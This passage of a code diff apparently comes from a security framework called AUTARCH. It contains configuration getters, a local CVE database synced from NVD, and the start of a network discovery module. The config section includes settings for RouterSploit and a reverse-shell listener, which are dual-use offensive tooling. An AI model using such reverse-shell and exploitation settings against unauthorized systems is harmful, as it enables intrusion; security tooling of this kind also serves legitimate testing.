def get_openai_settings(self) -> dict:
"""Get all OpenAI API settings as a dictionary."""
return {
'api_key': self.get('openai', 'api_key', ''),
'base_url': self.get('openai', 'base_url', 'https://api.openai.com/v1'),
'model': self.get('openai', 'model', 'gpt-4o'),
'max_tokens': self.get_int('openai', 'max_tokens', 4096),
'temperature': self.get_float('openai', 'temperature', 0.7),
'top_p': self.get_float('openai', 'top_p', 1.0),
'frequency_penalty': self.get_float('openai', 'frequency_penalty', 0.0),
'presence_penalty': self.get_float('openai', 'presence_penalty', 0.0),
}
def get_rsf_settings(self) -> dict:
"""Get all RouterSploit settings as a dictionary.
Returns:
Dictionary with RSF settings properly typed
"""
return {
'install_path': self.get('rsf', 'install_path', ''),
'enabled': self.get_bool('rsf', 'enabled', True),
'default_target': self.get('rsf', 'default_target', ''),
'default_port': self.get('rsf', 'default_port', '80'),
'execution_timeout': self.get_int('rsf', 'execution_timeout', 120),
}
def get_upnp_settings(self) -> dict:
"""Get all UPnP settings as a dictionary."""
return {
'enabled': self.get_bool('upnp', 'enabled', True),
'internal_ip': self.get('upnp', 'internal_ip', '10.0.0.26'),
'refresh_hours': self.get_int('upnp', 'refresh_hours', 12),
'mappings': self.get('upnp', 'mappings', ''),
}
def get_revshell_settings(self) -> dict:
"""Get all reverse shell settings as a dictionary."""
return {
'enabled': self.get_bool('revshell', 'enabled', True),
'host': self.get('revshell', 'host', '0.0.0.0'),
'port': self.get_int('revshell', 'port', 17322),
'auto_start': self.get_bool('revshell', 'auto_start', False),
}
def get_tier_settings(self, tier: str) -> dict:
"""Get settings for a model tier (slm, sam, lam)."""
return {
'enabled': self.get_bool(tier, 'enabled', True),
'backend': self.get(tier, 'backend', 'local'),
'model_path': self.get(tier, 'model_path', ''),
'n_ctx': self.get_int(tier, 'n_ctx', 2048),
'n_gpu_layers': self.get_int(tier, 'n_gpu_layers', -1),
'n_threads': self.get_int(tier, 'n_threads', 4),
}
def get_slm_settings(self) -> dict:
"""Get Small Language Model tier settings."""
return self.get_tier_settings('slm')
def get_sam_settings(self) -> dict:
"""Get Small Action Model tier settings."""
return self.get_tier_settings('sam')
def get_lam_settings(self) -> dict:
"""Get Large Action Model tier settings."""
return self.get_tier_settings('lam')
def get_autonomy_settings(self) -> dict:
"""Get autonomy daemon settings."""
return {
'enabled': self.get_bool('autonomy', 'enabled', False),
'monitor_interval': self.get_int('autonomy', 'monitor_interval', 3),
'rule_eval_interval': self.get_int('autonomy', 'rule_eval_interval', 5),
'max_concurrent_agents': self.get_int('autonomy', 'max_concurrent_agents', 3),
'threat_threshold_auto_respond': self.get_int('autonomy', 'threat_threshold_auto_respond', 40),
'log_max_entries': self.get_int('autonomy', 'log_max_entries', 1000),
}
@staticmethod
def get_templates_dir() -> Path:
"""Get the path to the configuration templates directory."""
from core.paths import get_templates_dir
return get_templates_dir()
@staticmethod
def get_custom_configs_dir() -> Path:
"""Get the path to the custom user configurations directory."""
from core.paths import get_custom_configs_dir
return get_custom_configs_dir()
def list_hardware_templates(self) -> list:
"""List available hardware configuration templates.
Returns:
List of tuples: (template_id, display_name, description, filename)
"""
templates = [
('nvidia_4070_mobile', 'NVIDIA RTX 4070 Mobile', '8GB VRAM, CUDA, optimal for 7B-13B models', 'nvidia_4070_mobile.conf'),
('amd_rx6700xt', 'AMD Radeon RX 6700 XT', '12GB VRAM, ROCm, optimal for 7B-13B models', 'amd_rx6700xt.conf'),
('orangepi5plus_cpu', 'Orange Pi 5 Plus (CPU)', 'RK3588 ARM64, CPU-only, for quantized models', 'orangepi5plus_cpu.conf'),
('orangepi5plus_mali', 'Orange Pi 5 Plus (Mali GPU)', 'EXPERIMENTAL - Mali-G610 OpenCL acceleration', 'orangepi5plus_mali.conf'),
]
return templates
def list_custom_configs(self) -> list:
"""List user-saved custom configurations.
Returns:
List of tuples: (name, filepath)
"""
custom_dir = self.get_custom_configs_dir()
configs = []
for conf_file in custom_dir.glob('*.conf'):
name = conf_file.stem.replace('_', ' ').title()
configs.append((name, conf_file))
return configs
def load_template(self, template_id: str) -> bool:
"""Load a hardware template into the current configuration.
Args:
template_id: The template identifier (e.g., 'nvidia_4070_mobile')
Returns:
True if loaded successfully, False otherwise
"""
templates = {t[0]: t[3] for t in self.list_hardware_templates()}
if template_id not in templates:
return False
template_path = self.get_templates_dir() / templates[template_id]
if not template_path.exists():
return False
return self._load_llm_settings_from_file(template_path)
def load_custom_config(self, filepath: Path) -> bool:
"""Load a custom configuration file.
Args:
filepath: Path to the custom configuration file
Returns:
True if loaded successfully, False otherwise
"""
if not filepath.exists():
return False
return self._load_llm_settings_from_file(filepath)
def _load_llm_settings_from_file(self, filepath: Path) -> bool:
"""Load LLM settings (llama and transformers sections) from a file.
Preserves model_path from current config (doesn't overwrite).
Args:
filepath: Path to the configuration file
Returns:
True if loaded successfully, False otherwise
"""
try:
template_config = configparser.ConfigParser()
template_config.read(filepath)
# Preserve current model paths
current_llama_path = self.get('llama', 'model_path', '')
current_transformers_path = self.get('transformers', 'model_path', '')
# Load llama section
if 'llama' in template_config:
for key, value in template_config['llama'].items():
if key != 'model_path': # Preserve current model path
self.set('llama', key, value)
# Restore model path
if current_llama_path:
self.set('llama', 'model_path', current_llama_path)
# Load transformers section
if 'transformers' in template_config:
for key, value in template_config['transformers'].items():
if key != 'model_path': # Preserve current model path
self.set('transformers', key, value)
# Restore model path
if current_transformers_path:
self.set('transformers', 'model_path', current_transformers_path)
self.save()
return True
except Exception:
return False
def save_custom_config(self, name: str) -> Path:
"""Save current LLM settings to a custom configuration file.
Args:
name: Name for the custom configuration (will be sanitized)
Returns:
Path to the saved configuration file
"""
# Sanitize name for filename
safe_name = ''.join(c if c.isalnum() or c in '-_' else '_' for c in name.lower())
safe_name = safe_name.strip('_')
if not safe_name:
safe_name = 'custom_config'
custom_dir = self.get_custom_configs_dir()
filepath = custom_dir / f'{safe_name}.conf'
# Create config with just LLM settings
custom_config = configparser.ConfigParser()
# Save llama settings
custom_config['llama'] = {}
for key in self.DEFAULT_CONFIG['llama'].keys():
value = self.get('llama', key, '')
if value:
custom_config['llama'][key] = str(value)
# Save transformers settings
custom_config['transformers'] = {}
for key in self.DEFAULT_CONFIG['transformers'].keys():
value = self.get('transformers', key, '')
if value:
custom_config['transformers'][key] = str(value)
# Add header comment
with open(filepath, 'w') as f:
f.write(f'# AUTARCH Custom LLM Configuration\n')
f.write(f'# Name: {name}\n')
f.write(f'# Saved: {Path(self.config_path).name}\n')
f.write('#\n\n')
custom_config.write(f)
return filepath
def delete_custom_config(self, filepath: Path) -> bool:
"""Delete a custom configuration file.
Args:
filepath: Path to the custom configuration file
Returns:
True if deleted successfully, False otherwise
"""
try:
if filepath.exists() and filepath.parent == self.get_custom_configs_dir():
filepath.unlink()
return True
except Exception:
pass
return False
# Global config instance
_config = None
def get_config() -> Config:
"""Get the global configuration instance."""
global _config
if _config is None:
_config = Config()
return _config

869
core/cve.py Normal file
View File

@@ -0,0 +1,869 @@
"""
AUTARCH CVE Database Module
SQLite-based local CVE database with NVD API synchronization
https://nvd.nist.gov/developers/vulnerabilities
"""
import os
import json
import time
import sqlite3
import platform
import subprocess
import urllib.request
import urllib.parse
import threading
from pathlib import Path
from datetime import datetime, timedelta
from typing import Optional, List, Dict, Any, Callable
from .banner import Colors
from .config import get_config
class CVEDatabase:
"""SQLite-based CVE Database with NVD API synchronization."""
NVD_API_BASE = "https://services.nvd.nist.gov/rest/json/cves/2.0"
DB_VERSION = 1
RESULTS_PER_PAGE = 2000 # NVD max is 2000
# OS to CPE mapping for common systems
OS_CPE_MAP = {
'ubuntu': 'cpe:2.3:o:canonical:ubuntu_linux',
'debian': 'cpe:2.3:o:debian:debian_linux',
'fedora': 'cpe:2.3:o:fedoraproject:fedora',
'centos': 'cpe:2.3:o:centos:centos',
'rhel': 'cpe:2.3:o:redhat:enterprise_linux',
'rocky': 'cpe:2.3:o:rockylinux:rocky_linux',
'alma': 'cpe:2.3:o:almalinux:almalinux',
'arch': 'cpe:2.3:o:archlinux:arch_linux',
'opensuse': 'cpe:2.3:o:opensuse:opensuse',
'suse': 'cpe:2.3:o:suse:suse_linux',
'kali': 'cpe:2.3:o:kali:kali_linux',
'mint': 'cpe:2.3:o:linuxmint:linux_mint',
'windows': 'cpe:2.3:o:microsoft:windows',
'macos': 'cpe:2.3:o:apple:macos',
'darwin': 'cpe:2.3:o:apple:macos',
}
# SQL Schema
SCHEMA = """
-- CVE main table
CREATE TABLE IF NOT EXISTS cves (
id INTEGER PRIMARY KEY AUTOINCREMENT,
cve_id TEXT UNIQUE NOT NULL,
description TEXT,
published TEXT,
modified TEXT,
cvss_v3_score REAL,
cvss_v3_severity TEXT,
cvss_v3_vector TEXT,
cvss_v2_score REAL,
cvss_v2_severity TEXT,
cvss_v2_vector TEXT
);
-- CPE (affected products) table
CREATE TABLE IF NOT EXISTS cve_cpes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
cve_id TEXT NOT NULL,
cpe_criteria TEXT NOT NULL,
vulnerable INTEGER DEFAULT 1,
version_start TEXT,
version_end TEXT,
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
);
-- References table
CREATE TABLE IF NOT EXISTS cve_references (
id INTEGER PRIMARY KEY AUTOINCREMENT,
cve_id TEXT NOT NULL,
url TEXT NOT NULL,
source TEXT,
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
);
-- Weaknesses (CWE) table
CREATE TABLE IF NOT EXISTS cve_weaknesses (
id INTEGER PRIMARY KEY AUTOINCREMENT,
cve_id TEXT NOT NULL,
cwe_id TEXT NOT NULL,
FOREIGN KEY (cve_id) REFERENCES cves(cve_id)
);
-- Metadata table
CREATE TABLE IF NOT EXISTS metadata (
key TEXT PRIMARY KEY,
value TEXT
);
-- Indexes for fast queries
CREATE INDEX IF NOT EXISTS idx_cve_id ON cves(cve_id);
CREATE INDEX IF NOT EXISTS idx_cve_severity ON cves(cvss_v3_severity);
CREATE INDEX IF NOT EXISTS idx_cve_score ON cves(cvss_v3_score);
CREATE INDEX IF NOT EXISTS idx_cve_published ON cves(published);
CREATE INDEX IF NOT EXISTS idx_cpe_cve ON cve_cpes(cve_id);
CREATE INDEX IF NOT EXISTS idx_cpe_criteria ON cve_cpes(cpe_criteria);
CREATE INDEX IF NOT EXISTS idx_ref_cve ON cve_references(cve_id);
CREATE INDEX IF NOT EXISTS idx_weakness_cve ON cve_weaknesses(cve_id);
"""
def __init__(self, db_path: str = None):
"""Initialize CVE database.
Args:
db_path: Path to SQLite database. Defaults to data/cve/cve.db
"""
if db_path is None:
from core.paths import get_data_dir
self.data_dir = get_data_dir() / "cve"
self.db_path = self.data_dir / "cve.db"
else:
self.db_path = Path(db_path)
self.data_dir = self.db_path.parent
self.data_dir.mkdir(parents=True, exist_ok=True)
self.system_info = self._detect_system()
self._conn = None
self._lock = threading.Lock()
self._init_database()
def _get_connection(self) -> sqlite3.Connection:
"""Get thread-safe database connection."""
if self._conn is None:
self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False)
self._conn.row_factory = sqlite3.Row
return self._conn
def _init_database(self):
"""Initialize database schema."""
with self._lock:
conn = self._get_connection()
conn.executescript(self.SCHEMA)
conn.commit()
def _detect_system(self) -> Dict[str, str]:
"""Detect the current system information."""
info = {
'os_type': platform.system().lower(),
'os_name': '',
'os_version': '',
'os_id': '',
'kernel': platform.release(),
'arch': platform.machine(),
'cpe_prefix': '',
}
if info['os_type'] == 'linux':
os_release = Path("/etc/os-release")
if os_release.exists():
content = os_release.read_text()
for line in content.split('\n'):
if line.startswith('ID='):
info['os_id'] = line.split('=')[1].strip('"').lower()
elif line.startswith('VERSION_ID='):
info['os_version'] = line.split('=')[1].strip('"')
elif line.startswith('PRETTY_NAME='):
info['os_name'] = line.split('=', 1)[1].strip('"')
if not info['os_id']:
if Path("/etc/debian_version").exists():
info['os_id'] = 'debian'
elif Path("/etc/redhat-release").exists():
info['os_id'] = 'rhel'
elif Path("/etc/arch-release").exists():
info['os_id'] = 'arch'
elif info['os_type'] == 'darwin':
info['os_id'] = 'macos'
try:
result = subprocess.run(['sw_vers', '-productVersion'],
capture_output=True, text=True, timeout=5)
info['os_version'] = result.stdout.strip()
except:
pass
elif info['os_type'] == 'windows':
info['os_id'] = 'windows'
info['os_version'] = platform.version()
info['os_name'] = platform.platform()
for os_key, cpe in self.OS_CPE_MAP.items():
if os_key in info['os_id']:
info['cpe_prefix'] = cpe
break
return info
def get_system_info(self) -> Dict[str, str]:
"""Get detected system information."""
return self.system_info.copy()
def get_db_stats(self) -> Dict[str, Any]:
"""Get database statistics."""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
stats = {
'db_path': str(self.db_path),
'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0,
'total_cves': 0,
'total_cpes': 0,
'last_sync': None,
'last_modified': None,
}
try:
cursor.execute("SELECT COUNT(*) FROM cves")
stats['total_cves'] = cursor.fetchone()[0]
cursor.execute("SELECT COUNT(*) FROM cve_cpes")
stats['total_cpes'] = cursor.fetchone()[0]
cursor.execute("SELECT value FROM metadata WHERE key = 'last_sync'")
row = cursor.fetchone()
if row:
stats['last_sync'] = row[0]
cursor.execute("SELECT value FROM metadata WHERE key = 'last_modified'")
row = cursor.fetchone()
if row:
stats['last_modified'] = row[0]
# Count by severity
cursor.execute("""
SELECT cvss_v3_severity, COUNT(*)
FROM cves
WHERE cvss_v3_severity IS NOT NULL
GROUP BY cvss_v3_severity
""")
stats['by_severity'] = {row[0]: row[1] for row in cursor.fetchall()}
except sqlite3.Error:
pass
return stats
# =========================================================================
# NVD API METHODS
# =========================================================================
def _make_nvd_request(self, params: Dict[str, str], verbose: bool = False) -> Optional[Dict]:
"""Make a request to the NVD API."""
url = f"{self.NVD_API_BASE}?{urllib.parse.urlencode(params)}"
if verbose:
print(f"{Colors.DIM} API: {url[:80]}...{Colors.RESET}")
headers = {
'User-Agent': 'AUTARCH-Security-Framework/1.0',
'Accept': 'application/json',
}
config = get_config()
api_key = config.get('nvd', 'api_key', fallback='')
if api_key:
headers['apiKey'] = api_key
try:
req = urllib.request.Request(url, headers=headers)
with urllib.request.urlopen(req, timeout=60) as response:
return json.loads(response.read().decode('utf-8'))
except urllib.error.HTTPError as e:
if verbose:
print(f"{Colors.RED}[X] NVD API error: {e.code} - {e.reason}{Colors.RESET}")
return None
except urllib.error.URLError as e:
if verbose:
print(f"{Colors.RED}[X] Network error: {e.reason}{Colors.RESET}")
return None
except Exception as e:
if verbose:
print(f"{Colors.RED}[X] Request failed: {e}{Colors.RESET}")
return None
def _parse_cve_data(self, vuln: Dict) -> Dict:
"""Parse CVE data from NVD API response."""
cve_data = vuln.get('cve', {})
cve_id = cve_data.get('id', '')
# Description
descriptions = cve_data.get('descriptions', [])
description = ''
for desc in descriptions:
if desc.get('lang') == 'en':
description = desc.get('value', '')
break
# CVSS scores
metrics = cve_data.get('metrics', {})
cvss_v3 = metrics.get('cvssMetricV31', metrics.get('cvssMetricV30', []))
cvss_v2 = metrics.get('cvssMetricV2', [])
cvss_v3_score = None
cvss_v3_severity = None
cvss_v3_vector = None
cvss_v2_score = None
cvss_v2_severity = None
cvss_v2_vector = None
if cvss_v3:
cvss_data = cvss_v3[0].get('cvssData', {})
cvss_v3_score = cvss_data.get('baseScore')
cvss_v3_severity = cvss_data.get('baseSeverity')
cvss_v3_vector = cvss_data.get('vectorString')
if cvss_v2:
cvss_data = cvss_v2[0].get('cvssData', {})
cvss_v2_score = cvss_data.get('baseScore')
cvss_v2_severity = cvss_v2[0].get('baseSeverity')
cvss_v2_vector = cvss_data.get('vectorString')
# CPEs (affected products)
cpes = []
for config in cve_data.get('configurations', []):
for node in config.get('nodes', []):
for match in node.get('cpeMatch', []):
cpes.append({
'criteria': match.get('criteria', ''),
'vulnerable': match.get('vulnerable', True),
'version_start': match.get('versionStartIncluding') or match.get('versionStartExcluding'),
'version_end': match.get('versionEndIncluding') or match.get('versionEndExcluding'),
})
# References
references = [
{'url': ref.get('url', ''), 'source': ref.get('source', '')}
for ref in cve_data.get('references', [])
]
# Weaknesses
weaknesses = []
for weakness in cve_data.get('weaknesses', []):
for desc in weakness.get('description', []):
if desc.get('lang') == 'en' and desc.get('value', '').startswith('CWE-'):
weaknesses.append(desc.get('value'))
return {
'cve_id': cve_id,
'description': description,
'published': cve_data.get('published', ''),
'modified': cve_data.get('lastModified', ''),
'cvss_v3_score': cvss_v3_score,
'cvss_v3_severity': cvss_v3_severity,
'cvss_v3_vector': cvss_v3_vector,
'cvss_v2_score': cvss_v2_score,
'cvss_v2_severity': cvss_v2_severity,
'cvss_v2_vector': cvss_v2_vector,
'cpes': cpes,
'references': references,
'weaknesses': weaknesses,
}
def _insert_cve(self, conn: sqlite3.Connection, cve_data: Dict):
"""Insert or update a CVE in the database."""
cursor = conn.cursor()
# Insert/update main CVE record
cursor.execute("""
INSERT OR REPLACE INTO cves
(cve_id, description, published, modified,
cvss_v3_score, cvss_v3_severity, cvss_v3_vector,
cvss_v2_score, cvss_v2_severity, cvss_v2_vector)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
""", (
cve_data['cve_id'],
cve_data['description'],
cve_data['published'],
cve_data['modified'],
cve_data['cvss_v3_score'],
cve_data['cvss_v3_severity'],
cve_data['cvss_v3_vector'],
cve_data['cvss_v2_score'],
cve_data['cvss_v2_severity'],
cve_data['cvss_v2_vector'],
))
cve_id = cve_data['cve_id']
# Clear existing related data
cursor.execute("DELETE FROM cve_cpes WHERE cve_id = ?", (cve_id,))
cursor.execute("DELETE FROM cve_references WHERE cve_id = ?", (cve_id,))
cursor.execute("DELETE FROM cve_weaknesses WHERE cve_id = ?", (cve_id,))
# Insert CPEs
for cpe in cve_data['cpes']:
cursor.execute("""
INSERT INTO cve_cpes (cve_id, cpe_criteria, vulnerable, version_start, version_end)
VALUES (?, ?, ?, ?, ?)
""", (cve_id, cpe['criteria'], 1 if cpe['vulnerable'] else 0,
cpe['version_start'], cpe['version_end']))
# Insert references (limit to 10)
for ref in cve_data['references'][:10]:
cursor.execute("""
INSERT INTO cve_references (cve_id, url, source)
VALUES (?, ?, ?)
""", (cve_id, ref['url'], ref['source']))
# Insert weaknesses
for cwe in cve_data['weaknesses']:
cursor.execute("""
INSERT INTO cve_weaknesses (cve_id, cwe_id)
VALUES (?, ?)
""", (cve_id, cwe))
# =========================================================================
# DATABASE SYNC
# =========================================================================
def sync_database(
self,
days_back: int = 120,
full_sync: bool = False,
progress_callback: Callable[[str, int, int], None] = None,
verbose: bool = True
) -> Dict[str, Any]:
"""Synchronize database with NVD.
Args:
days_back: For incremental sync, get CVEs from last N days.
full_sync: If True, download entire database (WARNING: slow, 200k+ CVEs).
progress_callback: Callback function(message, current, total).
verbose: Show progress messages.
Returns:
Sync statistics dictionary.
"""
stats = {
'started': datetime.now().isoformat(),
'cves_processed': 0,
'cves_added': 0,
'cves_updated': 0,
'errors': 0,
'completed': False,
}
if verbose:
print(f"{Colors.CYAN}[*] Starting CVE database sync...{Colors.RESET}")
# Determine date range
if full_sync:
# Start from 1999 (first CVEs)
start_date = datetime(1999, 1, 1)
if verbose:
print(f"{Colors.YELLOW}[!] Full sync requested - this may take a while...{Colors.RESET}")
else:
start_date = datetime.utcnow() - timedelta(days=days_back)
end_date = datetime.utcnow()
# Calculate total CVEs to fetch (estimate)
params = {
'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'),
'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'),
'resultsPerPage': '1',
}
response = self._make_nvd_request(params, verbose)
if not response:
if verbose:
print(f"{Colors.RED}[X] Failed to connect to NVD API{Colors.RESET}")
return stats
total_results = response.get('totalResults', 0)
if verbose:
print(f"{Colors.CYAN}[*] Found {total_results:,} CVEs to process{Colors.RESET}")
if total_results == 0:
stats['completed'] = True
return stats
# Process in batches
start_index = 0
batch_num = 0
total_batches = (total_results + self.RESULTS_PER_PAGE - 1) // self.RESULTS_PER_PAGE
with self._lock:
conn = self._get_connection()
while start_index < total_results:
batch_num += 1
if verbose:
pct = int((start_index / total_results) * 100)
print(f"{Colors.CYAN}[*] Batch {batch_num}/{total_batches} ({pct}%) - {start_index:,}/{total_results:,}{Colors.RESET}")
if progress_callback:
progress_callback(f"Downloading batch {batch_num}/{total_batches}", start_index, total_results)
params = {
'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'),
'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'),
'resultsPerPage': str(self.RESULTS_PER_PAGE),
'startIndex': str(start_index),
}
response = self._make_nvd_request(params, verbose=False)
if not response:
stats['errors'] += 1
if verbose:
print(f"{Colors.YELLOW}[!] Batch {batch_num} failed, retrying...{Colors.RESET}")
time.sleep(6) # NVD rate limit
continue
vulnerabilities = response.get('vulnerabilities', [])
for vuln in vulnerabilities:
try:
cve_data = self._parse_cve_data(vuln)
self._insert_cve(conn, cve_data)
stats['cves_processed'] += 1
stats['cves_added'] += 1
except Exception as e:
stats['errors'] += 1
if verbose:
print(f"{Colors.RED}[X] Error processing CVE: {e}{Colors.RESET}")
conn.commit()
start_index += self.RESULTS_PER_PAGE
# Rate limiting - NVD allows 5 requests per 30 seconds without API key
config = get_config()
if not config.get('nvd', 'api_key', fallback=''):
time.sleep(6)
else:
time.sleep(0.6) # With API key: 50 requests per 30 seconds
# Update metadata
conn.execute("""
INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_sync', ?)
""", (datetime.now().isoformat(),))
conn.execute("""
INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_modified', ?)
""", (end_date.isoformat(),))
conn.commit()
stats['completed'] = True
stats['finished'] = datetime.now().isoformat()
if verbose:
print(f"{Colors.GREEN}[+] Sync complete: {stats['cves_processed']:,} CVEs processed{Colors.RESET}")
return stats
def sync_recent(self, days: int = 7, verbose: bool = True) -> Dict[str, Any]:
"""Quick sync of recent CVEs only."""
return self.sync_database(days_back=days, full_sync=False, verbose=verbose)
# =========================================================================
# QUERY METHODS
# =========================================================================
def search_cves(
self,
keyword: str = None,
cpe_pattern: str = None,
severity: str = None,
min_score: float = None,
max_results: int = 100,
days_back: int = None
) -> List[Dict]:
"""Search CVEs in local database.
Args:
keyword: Search in CVE ID or description.
cpe_pattern: CPE pattern to match (uses LIKE).
severity: Filter by severity (LOW, MEDIUM, HIGH, CRITICAL).
min_score: Minimum CVSS v3 score.
max_results: Maximum results to return.
days_back: Only return CVEs from last N days.
Returns:
List of matching CVE dictionaries.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
query = "SELECT DISTINCT c.* FROM cves c"
conditions = []
params = []
if cpe_pattern:
query += " LEFT JOIN cve_cpes cp ON c.cve_id = cp.cve_id"
conditions.append("cp.cpe_criteria LIKE ?")
params.append(f"%{cpe_pattern}%")
if keyword:
conditions.append("(c.cve_id LIKE ? OR c.description LIKE ?)")
params.extend([f"%{keyword}%", f"%{keyword}%"])
if severity:
conditions.append("c.cvss_v3_severity = ?")
params.append(severity.upper())
if min_score is not None:
conditions.append("c.cvss_v3_score >= ?")
params.append(min_score)
if days_back:
cutoff = (datetime.utcnow() - timedelta(days=days_back)).strftime('%Y-%m-%d')
conditions.append("c.published >= ?")
params.append(cutoff)
if conditions:
query += " WHERE " + " AND ".join(conditions)
query += " ORDER BY c.cvss_v3_score DESC NULLS LAST, c.published DESC"
query += f" LIMIT {max_results}"
cursor.execute(query, params)
rows = cursor.fetchall()
return [self._row_to_dict(row) for row in rows]
def get_cve(self, cve_id: str) -> Optional[Dict]:
"""Get detailed information about a specific CVE.
Args:
cve_id: The CVE ID (e.g., CVE-2024-1234).
Returns:
CVE details dictionary or None if not found.
"""
with self._lock:
conn = self._get_connection()
cursor = conn.cursor()
# Get main CVE data
cursor.execute("SELECT * FROM cves WHERE cve_id = ?", (cve_id,))
row = cursor.fetchone()
if not row:
return None
cve = self._row_to_dict(row)
# Get CPEs
cursor.execute("SELECT * FROM cve_cpes WHERE cve_id = ?", (cve_id,))
cve['cpes'] = [dict(r) for r in cursor.fetchall()]
# Get references
cursor.execute("SELECT url, source FROM cve_references WHERE cve_id = ?", (cve_id,))
cve['references'] = [dict(r) for r in cursor.fetchall()]
# Get weaknesses
cursor.execute("SELECT cwe_id FROM cve_weaknesses WHERE cve_id = ?", (cve_id,))
cve['weaknesses'] = [r['cwe_id'] for r in cursor.fetchall()]
return cve
def get_system_cves(
self,
severity_filter: str = None,
max_results: int = 100
) -> List[Dict]:
"""Get CVEs relevant to the detected system.
Args:
severity_filter: Filter by severity.
max_results: Maximum results.
Returns:
List of relevant CVEs.
"""
cpe_prefix = self.system_info.get('cpe_prefix', '')
if not cpe_prefix:
return []
# Build CPE pattern for this system
cpe_pattern = cpe_prefix
if self.system_info.get('os_version'):
version = self.system_info['os_version'].split('.')[0]
cpe_pattern = f"{cpe_prefix}:{version}"
return self.search_cves(
cpe_pattern=cpe_pattern,
severity=severity_filter,
max_results=max_results
)
def get_software_cves(
self,
software: str,
vendor: str = None,
version: str = None,
max_results: int = 100
) -> List[Dict]:
"""Search CVEs for specific software.
Args:
software: Software/product name.
vendor: Vendor name (optional).
version: Software version (optional).
max_results: Maximum results.
Returns:
List of CVEs.
"""
# Try CPE-based search first
cpe_pattern = software.lower().replace(' ', '_')
if vendor:
cpe_pattern = f"{vendor.lower()}:{cpe_pattern}"
if version:
cpe_pattern = f"{cpe_pattern}:{version}"
results = self.search_cves(cpe_pattern=cpe_pattern, max_results=max_results)
# Also search by keyword if CPE search returns few results
if len(results) < 10:
keyword = software
if vendor:
keyword = f"{vendor} {software}"
keyword_results = self.search_cves(keyword=keyword, max_results=max_results)
# Merge results, avoiding duplicates
seen = {r['cve_id'] for r in results}
for r in keyword_results:
if r['cve_id'] not in seen:
results.append(r)
seen.add(r['cve_id'])
return results[:max_results]
def get_cves_by_severity(self, severity: str, max_results: int = 100) -> List[Dict]:
"""Get CVEs by severity level."""
return self.search_cves(severity=severity, max_results=max_results)
def get_recent_cves(self, days: int = 30, max_results: int = 100) -> List[Dict]:
"""Get recently published CVEs."""
return self.search_cves(days_back=days, max_results=max_results)
def _row_to_dict(self, row: sqlite3.Row) -> Dict:
"""Convert database row to dictionary."""
return {
'cve_id': row['cve_id'],
'id': row['cve_id'], # Alias for compatibility
'description': row['description'],
'published': row['published'],
'modified': row['modified'],
'cvss_score': row['cvss_v3_score'] or row['cvss_v2_score'] or 0,
'cvss_v3_score': row['cvss_v3_score'],
'cvss_v3_severity': row['cvss_v3_severity'],
'cvss_v3_vector': row['cvss_v3_vector'],
'cvss_v2_score': row['cvss_v2_score'],
'cvss_v2_severity': row['cvss_v2_severity'],
'cvss_v2_vector': row['cvss_v2_vector'],
'severity': row['cvss_v3_severity'] or row['cvss_v2_severity'] or 'UNKNOWN',
}
# =========================================================================
# ONLINE FALLBACK
# =========================================================================
def fetch_cve_online(self, cve_id: str, verbose: bool = False) -> Optional[Dict]:
"""Fetch a specific CVE from NVD API (online fallback).
Args:
cve_id: The CVE ID.
verbose: Show progress.
Returns:
CVE details or None.
"""
params = {'cveId': cve_id}
if verbose:
print(f"{Colors.CYAN}[*] Fetching {cve_id} from NVD...{Colors.RESET}")
response = self._make_nvd_request(params, verbose)
if not response or not response.get('vulnerabilities'):
return None
cve_data = self._parse_cve_data(response['vulnerabilities'][0])
# Store in database
with self._lock:
conn = self._get_connection()
self._insert_cve(conn, cve_data)
conn.commit()
return self.get_cve(cve_id)
def search_online(
self,
keyword: str = None,
cpe_name: str = None,
severity: str = None,
days_back: int = 120,
max_results: int = 100,
verbose: bool = False
) -> List[Dict]:
"""Search NVD API directly (online mode).
Use this when local database is empty or for real-time results.
"""
params = {
'resultsPerPage': str(min(max_results, 2000)),
}
if keyword:
params['keywordSearch'] = keyword
if cpe_name:
params['cpeName'] = cpe_name
if severity:
params['cvssV3Severity'] = severity.upper()
if days_back > 0:
end_date = datetime.utcnow()
start_date = end_date - timedelta(days=days_back)
params['pubStartDate'] = start_date.strftime('%Y-%m-%dT00:00:00.000')
params['pubEndDate'] = end_date.strftime('%Y-%m-%dT23:59:59.999')
if verbose:
print(f"{Colors.CYAN}[*] Searching NVD online...{Colors.RESET}")
response = self._make_nvd_request(params, verbose)
if not response:
return []
cves = []
for vuln in response.get('vulnerabilities', []):
cve_data = self._parse_cve_data(vuln)
cves.append({
'cve_id': cve_data['cve_id'],
'id': cve_data['cve_id'],
'description': cve_data['description'][:200] + '...' if len(cve_data['description']) > 200 else cve_data['description'],
'cvss_score': cve_data['cvss_v3_score'] or cve_data['cvss_v2_score'] or 0,
'severity': cve_data['cvss_v3_severity'] or cve_data['cvss_v2_severity'] or 'UNKNOWN',
'published': cve_data['published'][:10] if cve_data['published'] else '',
})
return cves
def close(self):
"""Close database connection."""
if self._conn:
self._conn.close()
self._conn = None
# Global instance
_cve_db: Optional[CVEDatabase] = None
def get_cve_db() -> CVEDatabase:
"""Get the global CVE database instance."""
global _cve_db
if _cve_db is None:
_cve_db = CVEDatabase()
return _cve_db

423
core/discovery.py Normal file
View File

@@ -0,0 +1,423 @@
"""
AUTARCH Network Discovery
Advertises AUTARCH on the local network so companion apps can find it.
Discovery methods (priority order):
1. mDNS/Zeroconf — LAN service advertisement (_autarch._tcp.local.)
2. Bluetooth — RFCOMM service advertisement (requires BT adapter + security enabled)
Dependencies:
- mDNS: pip install zeroconf (optional, graceful fallback)
- Bluetooth: system bluetoothctl + hcitool (no pip package needed)
"""
import json
import socket
import subprocess
import threading
import time
import logging
from pathlib import Path
from typing import Dict, Optional, Tuple
logger = logging.getLogger(__name__)
# Service constants
MDNS_SERVICE_TYPE = "_autarch._tcp.local."
